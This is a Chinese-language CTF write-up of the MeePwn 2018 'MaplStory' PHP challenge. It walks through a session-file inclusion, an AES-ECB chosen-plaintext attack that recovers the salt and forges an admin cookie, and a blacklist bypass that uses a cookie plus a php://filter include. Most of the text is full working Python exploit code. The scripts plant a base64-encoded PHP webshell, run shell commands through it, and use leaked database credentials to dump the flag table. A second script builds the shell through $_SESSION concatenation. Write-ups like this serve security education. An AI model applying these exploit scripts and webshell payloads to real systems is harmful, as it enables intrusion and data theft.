Meepwn2018：MaplStory——以Cookie为跳板的Session文件包含

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本题考察PHP源码审计。主要有两个缺陷：使用ECB模式进行AES加密导致的CPA（选择明文攻击）和 文件包含。有两处可以向文件写入内容以供包含，但均被过滤，最终通过以未被过滤的Cookie为跳板连接两处文件包含来写入Shell。文末还介绍了一种深入利用一处文件包含getshell的解法。

概览

打开 http://178.128.87.16 是一个登陆页面，注册账户后有四个页面，HOME 是欢迎页，CHARACTER 页可以和宠物角色互动，但账户刚注册完是没有宠物的，需要获取ADMIN权限后自行添加， SETTING 页可以修改用户名和选择头像，GAME 页是一个Flash小游戏，和本题无关。

题目提供了源码下载，可以从 这里 或 备用地址 下载。

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文件包含

index.php

index.php 文件中有如下语句，显然存在文件包含。

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if(isset($_GET['page']) && !empty($_GET['page']))
{
	include($_GET['page']);
}

但所有 GET 和POST 提交的参数都会被删除掉敏感字符串，其中 // 、(.+) 和` ` 是比较值得注意的。

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function bad_words($value)
{
	//My A.I TsuGo show me that when player using these words below they feel angry, so i decide to censor them.
	//Maybe some word is false positive but pls accept it, for a no-cancer gaming environment!
	$too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";
	$value = preg_replace($too_bad, str_repeat("*",3) ,$value);
	return $value;
}

foreach($_GET as $key=>$value)
{
    if (is_array($value)){mapl_die();}
	$value=bad_words($value);
	$_GET[$key]=$value;
}

foreach($_POST as $key2=>$value2)
{
	if (is_array($value2)){mapl_die();}
	$value2=bad_words($value2);
	$_POST[$key2]=$value2;
}

PHP使用PHPSESSID cookie值 存储会话标识，一般在/var/lib/php/sessions/sess_<PHPSESSID> 文件里写有一些有特定意义的字符串，其中<PHPSESSID> 可在Cookie里找到。尝试读取SESSION文件：

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http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_8es749ivbfetvsmsc0ggthr2e5

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其中是序列化后的$_SESSION 和明文的操作记录，这些内容在后面会大有用处。

CPA猜解salt

login.php

阅读login.php 并跟入相关文件，可以看到有多处用到$salt 变量，其地位非常关键。

首先是从单独的表mapl_config 中读出值。

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    $configRow=config_connect($conn);
    $salt=$configRow['mapl_salt'];
    $key=$configRow['mapl_key'];
/*
    function config_connect($conn)
    {
        $config=mysqli_query($conn,"SELECT * FROM mapl_config");
        return mysqli_fetch_array($config);
    }
*/

如果登陆成功就将用户名和邮箱加盐加密存储的$_SESSION 变量里。并且将admin /user 字符串加盐加密存储在$_COOKIE['_role'] 变量中，用以标识用户身份。

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if( $count === 1 && $row['userPass']===$password ) //登陆成功
			{
				$secure_email=encryptData($row['userEmail'],$salt,$key);
				$secure_name=encryptData($row['userName'],$salt,$key);
				$log_content='['.date("h:i:sa").' GMT+7] Logged In';
				$_SESSION['character_name'] = $secure_name;
				$_SESSION['user'] = $secure_email;
    			$_SESSION['action']=$log_content;
				if ($row['userIsAdmin']==='1')
				{
					$data='admin'.$salt;
					$role=hash('sha256', $data);
					setcookie('_role',$role);
				}
				else
				{
					$data='user'.$salt;
					$role=hash('sha256', $data);
					setcookie('_role',$role);					
				}
				header("Location: ?page=home.php");
			} 
/*
    function encryptData($data,$salt,$key)
    {
            $encrypt=openssl_encrypt($data.$salt,"AES-128-ECB",$key);
            $raw=base64_decode($encrypt);
            $final=implode(unpack("H*", $raw));
            return $final;
    }
*/

setting.php

再查看setting.php ，这个文件实现了修改用户名页面的功能 。只要修改后的名字不长于22个字符，就使用mysqli_real_escape_string 处理并更新记录（避免SQL注入）。会被编码的字符有的 NUL（ASCII 0）、\n、\r、\、’、” 和 Control-Z。 

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if(strlen($_POST['name'])<=22){
    $name=mysqli_real_escape_string($conn,$_POST['name']);
    $query="UPDATE users SET userName='$name' WHERE userEmail='$mail'";
    $res2=mysqli_query($conn,$query);
    $userRow2=mysqli_fetch_array($res2);
    $secure_name=encryptData($name,$salt,$key);
    $_SESSION['character_name'] = $secure_name;
    $log_content='['.date("h:i:sa").' GMT+7] Change character name';
    $_SESSION['action']=$log_content;
    header("Refresh:0");
}

所有加密操作用的是同一个$salt ，加上上述包含Session文件的操作，就会有构造任意明文获取对应密文的可能。最重要的，加密方式采用了AES-128-ECB ，ECB 全称Electronic Codebook （电码本），顾名思义，这种模式的特点就是相同的明文块加密后会得到相同的密文块。

这里采用128位的分组形式，也就是每十六字节一个明文块。举栗说明：

如果用户名是findneo 七个字节，$salt 是xianzhi 八个字节，那么加密过程就是把findneoxianzhi 共十五个字节作为一个分组去加密，缺一个字节按算法padding。

如果用户名是hifindneo 共九个字节，那么加密过程就是对hifindne 和oxianzhi 作为两个分组加密。

我们可以在SETTING 页面修改用户名来改变明文，然后使用文件包含读到Session文件内容来获取密文，这就是一个完整的选择明文攻击过程。

利用

怎么攻击呢？比如用户名是findneo ，（我们还不知道$salt 是xianzhi ） ，那么加密的第一个明文分组是findneox ，记录下$_SESSION['character_name'] 的前32个字节十六进制数，也就是密文的第一个分组。

然后依次改变用户名为findneoa 、findneob 、.etc，并记录密文第一个分组。直到用户名为findneox 时发现密文第一个分组与用户名为findneo 时的相同。根据ECB模式的特点，就能知道$salt 的第一个字节为x ，事实上也确实如此。

测试发现用户名长15个字符时，$_SESSION['character_name'] 有64字节十六进制数，也就是加盐加密后是32个字符，用户名长为16个字符时，$_SESSION['character_name'] 有96字节，也就加盐加密后有48个字符。这说明$salt 长为16个字节。

然后就可以按照以上原理猜解$salt ，伪造$_COOKIE['_role'] ，成为管理员。

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# -*- coding: utf-8 -*-
# by https://findneo.github.io/

import requests
from bs4 import BeautifulSoup
import string
import hashlib
url = "http://178.128.87.16/"
cookie = dict(
    PHPSESSID='t9p07a1qt2plbcqp8tpkib4794',
    # _role='8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe'
)


def read_sess():
    r = requests.get(
        url + "?page=/var/lib/php/sessions/sess_" + cookie['PHPSESSID'],
        cookies=cookie)
    return r.content


def get_sess_character_name():
    """read_sess():
    character_name|s:64:"6269cb047bbbd0802cd7b882700591c6f6ace10234be4243997282e7c467e820";
    user|s:64:"82f0cac5c0591592eaccfdac48f3e3656c264c7a73f97aeea603461254e3ac38";
    action|s:40:"[12:04:21pm GMT+7] Change character name";
    """
    character_name = read_sess().split(';')[0].split(":")[-1][1:-1]
    return character_name


def change_name(character_name):
    payload = dict(name=character_name, submit='Edit')
    r = requests.post(url + "?page=setting.php", cookies=cookie, data=payload)


def whoami():
    r = requests.get(url + "?page=home.php", cookies=cookie)
    s = BeautifulSoup(r.content, 'lxml')
    print s.h2.get_text().split('\n')[0]


def change_and_check(name):
    change_name(name)
    # whoami()
    return get_sess_character_name()


def crack_salt():
    junk = 'x' * 16
    salt = ''
    s = 'ms_g00d_0ld_g4m3' + string.printable
    for i in range(15, -1, -1):
        cmp = change_and_check(junk[:i])[:32]
        if i == 0:
            # 如果i==0，无法修改用户名，实际上salt对应的就是第二个密文块，直接取即可
            cmp = change_and_check(junk)[32:64]
        for j in s:
            if cmp == change_and_check(junk[:i] + salt + j)[:32]:
                salt += j
                print salt
                break
    return salt


salt = crack_salt()

爆破得到$salt 为ms_g00d_0ld_g4m3 ，然后计算出admin 用户的Cookie为hashlib.sha256('admin' + salt).hexdigest() 也就是_role='a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054'。

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可使用Fiddler的Filters功能设置请求头为PHPSESSID=8es749ivbfetvsmsc0ggthr2e5; _role=8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe ，权限上升为ADMIN。

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以Cookie为跳板的Session文件包含

admin.php

注意到Session文件中有部分明文信息，记录关于上一次的操作。每一次操作都会记录，但只有admin.php 中写入的内容存在可控变量：

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if ( isset($_POST['pet']) && !empty($_POST['pet']) && isset($_POST['email']) && !empty($_POST['email']) )
{
    $dir='./upload/'.md5($salt.$_POST['email']).'/';
    give_pet($dir,$_POST['pet']);
    if(check_available_pet($_POST['pet']))
    {
        $log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);
        $_SESSION['action']=$log_content;
    }
}

其中的search_name_by_mail($conn,$_POST['email']) 正是用户名，而这是可修改的。所以只要在CHARACTER 页面执行一次送宠物给某个用户的操作，Session文件中就会出现该用户的用户名。而如果用户名是PHP代码，就会被执行。

用户名修改有哪些限制？

首先是文件包含 小节提到的所有GET ，POST 参数都必须经过的黑名单过滤。

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function bad_words($value){	$too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";
	$value = preg_replace($too_bad, str_repeat("*",3) ,$value);
	return $value;
}
# |\/\/|\(.+\)|`.+`| 比较重要，意味着伪协议、函数、shell都不能直接使用。

然后是setting.php （代码见CPA猜解salt 小节）中要求的不大于22个字符。

character.php

所有功能中唯一一个直接写文件的操作在和CHARACTER 页面，同样需经过黑名单过滤，并且要求小于20个字符。

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if(isset($_POST['command']) && !empty($_POST['command']))
{
    if(strlen($_POST['command'])>=20)
    {
        echo '<center><strong>Too Long</strong></center>';
    }
    else
    {
        save_command($mail,$salt,$_POST['command']);
        header("Refresh:0");
    }
}
/*
function save_command($email,$salt,$data){
	$dir='./upload/'.md5($salt.$email);
	file_put_contents($dir.'/command.txt', $data);
}
*/

利用

思路

全局共有两处可以修改文件，可以修改用户名以修改Session文件，也可在CHARACTER 页面修改command.txt ，但两处都是由GET 或POST 传的参，参数被黑名单过滤导致无法直接发挥作用。

考虑到COOKIE没有被过滤，可以用作跳板，在Session文件中包含Cookie，在command.txt 写入编码后的无害字符串，在Cookie写入利用伪协议读取 command.txt 并解码的语句，就成功向Session文件写入了一句话。

其实从哪个文件经由哪个变量跳到哪个文件是有多种可能的，但本题受限于长度这很可能是唯一的解法。

步骤

  • 在SETTING处修改用户名为<?=include"$_COOKIE[a]
  • 在Fiddler的Filters处的Cookie后面添加上一条a=php://filter/convert.base64-decode/resource=upload/ac8d37347a056bad2a852e4ef40de28a/command.txt
  • 在character处给宠物发一条命令 PD89YCRfR0VUW2ZdYDs 从而写入command.txt 
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# PD89YCRfR0VUW2ZdYDs 可解码为 <?=`$_GET[f]`;

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  • 在admin处给自己送一只宠物

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使执行语句

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$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);

而其中的search_name_by_mail($conn,$_POST['email'] 正是用户名<?=include"$_COOKIE[a]

所以包含session文件就可以把Cookie里的变量a 包含进来，而a又是command.txt解码后的结果，也就是一句话木马。这时就可以以f为密码传入任意命令了。

  • 读到数据库配置文件

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  • 读到配置文件dbconnect.php 
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<?php
	define('DBHOST', 'localhost');
	define('DBUSER', 'mapl_story_user');
	define('DBPASS', 'tsu_tsu_tsu_tsu'); 
	define('DBNAME', 'mapl_story');
	$conn = mysqli_connect(DBHOST,DBUSER,DBPASS,DBNAME);
	if ( !$conn ) {
		die("Connection failed : " . mysql_error());
	}
  • 然后执行命令
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echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story
或
mysql -e'select * from mapl_config' -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story

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脚本

也可参考脚本理清利用过程：

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# -*- coding: utf-8 -*-
# by https://findneo.github.io/

import requests, hashlib, base64


def change_name(character_name):
    payload = dict(name=character_name, submit='Edit')
    r = requests.post(url + "?page=setting.php", cookies=cookie, data=payload)


def give_pet(user_email):
    payload = dict(pet="babydragon", email=user_email, submit="Give")
    r = requests.post(url + '?page=admin.php', cookies=cookie, data=payload)
    return r.content


def command(cmd="testcmd"):
    payload = dict(command=cmd, submit="Send")
    r = requests.post(
        url + "?page=character.php", cookies=cookie, data=payload)


def shell(cmd='uname'):
    payload = dict(
        page="/var/lib/php/sessions/sess_" + cookie['PHPSESSID'], f=cmd)
    r = requests.get(url, cookies=cookie, params=payload)
    return r.content


# edit your cookie['PHPSESSID'] & user_email to run this script
url = "http://178.128.87.16/"
user_email = "ojbk@qq.com"
salt = 'ms_g00d_0ld_g4m3'
cookie = dict(
    PHPSESSID='8es749ivbfetvsmsc0ggthr2e5',
    _role='a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054',
    a="php://filter/convert.base64-decode/resource=upload/%s/command.txt" %
    hashlib.md5(salt + user_email).hexdigest())
change_name('<?=include"$_COOKIE[a]')
# 修改用户名使读Session文件时包含进Cookie['a']，即command.txt得base64解码
cmd = base64.b64encode("<?=`$_GET[f]`;")  #'PD89YCRfR0VUW2ZdYDs='
command(cmd[:19])  # 往command.txt写入base64编码的shell，缺少最后一个等号也可正常解码
give_pet(user_email)  # 使Session文件中的action值为"Give $pet to  player $username"
cmd = "mysql -e'select * from mapl_config' -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story"
print shell(cmd)
# mapl_salt      mapl_key        mapl_now_get_your_flag
# ms_g00d_0ld_g4m3        You_Never_Guess_This_Tsug0d_1337        MeePwnCTF{__Abus1ng_SessioN_Is_AlwAys_C00L_1337!___}

另一种思路：拼接$_SESSION 变量

另外， 这篇文章 里提供的一种拼接$_SESSION 变量的做法虽不比前者综合利用多处缺陷的优雅，但最大化地利用了单点的缺陷，很有创意，值得学习。

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# -*- coding: utf-8 -*-
# by https://findneo.github.io/

import requests, hashlib, base64


def change_name(character_name):
    payload = dict(name=character_name, submit='Edit')
    r = requests.post(url + "?page=setting.php", cookies=cookie, data=payload)


def give_pet(user_email):
    payload = dict(pet="babydragon", email=user_email, submit="Give")
    r = requests.post(url + '?page=admin.php', cookies=cookie, data=payload)
    return r.content


def shell(cmd='uname'):
    payload = dict(
        page="/var/lib/php/sessions/sess_" + cookie['PHPSESSID'], f=cmd)
    r = requests.get(url, cookies=cookie, params=payload)
    return r.content


# edit your cookie['PHPSESSID'] & user_email to run this script
url = "http://178.128.87.16/"
user_email = "mapl@qq.com"
salt = 'ms_g00d_0ld_g4m3'

cookie = dict(
    PHPSESSID='8es749ivbfetvsmsc0ggthr2e5',
    _role='a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054',
)


def do(s):
    change_name(s)
    give_pet(user_email)
    print s
    print shell()


payload1 = """
<?=$_SESSION[a]='*/'?>
<?=$_SESSION[a].=';'?>
<?=$_SESSION[a].='"'?>
<?=$_SESSION[a].='<'?>
<?=$_SESSION[a].='?'/*
<?=$_SESSION[a].='='/*
<?=$_SESSION[a].=' '/*
"""

payload2 = '`echo PD89YCRfR0VUWzFdYDsK|base64 -d >> upload/%s/command.txt`' % hashlib.md5(
    salt + user_email).hexdigest()
payload3 = """
<?=$_SESSION[a].=''/*
<?=$_SESSION[a].='?'/*
<?=$_SESSION[a].='>'/*
<?=$_SESSION[a]?>
"""


def xxx():
    for p in payload1.split('\n')[1:-1]:
        do(p)
    for c in payload2:
        p = "<?=$_SESSION[a].='%s'/*" % c
        do(p)
    for p in payload3.split('\n')[1:-1]:
        do(p)


xxx()
print hashlib.md5(salt + user_email).hexdigest()
# 可通过运行结果理解payload的巧妙
# 结果存放在
# https://github.com/findneo/ctfgodown/blob/master/20180718-Meepwn%20CTF%20Quals%202018/WEB/maplStory_SESSION_CONCAT_result.txt
# shell at 
# http://178.128.87.16/?page=upload/e500ec6d3d2b69fda8ff11b5b53b5ee2/command.txt&1=ls

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参考链接

https://ctftime.org/writeup/10418

MeePwn CTF 2018 Qual - Maple Story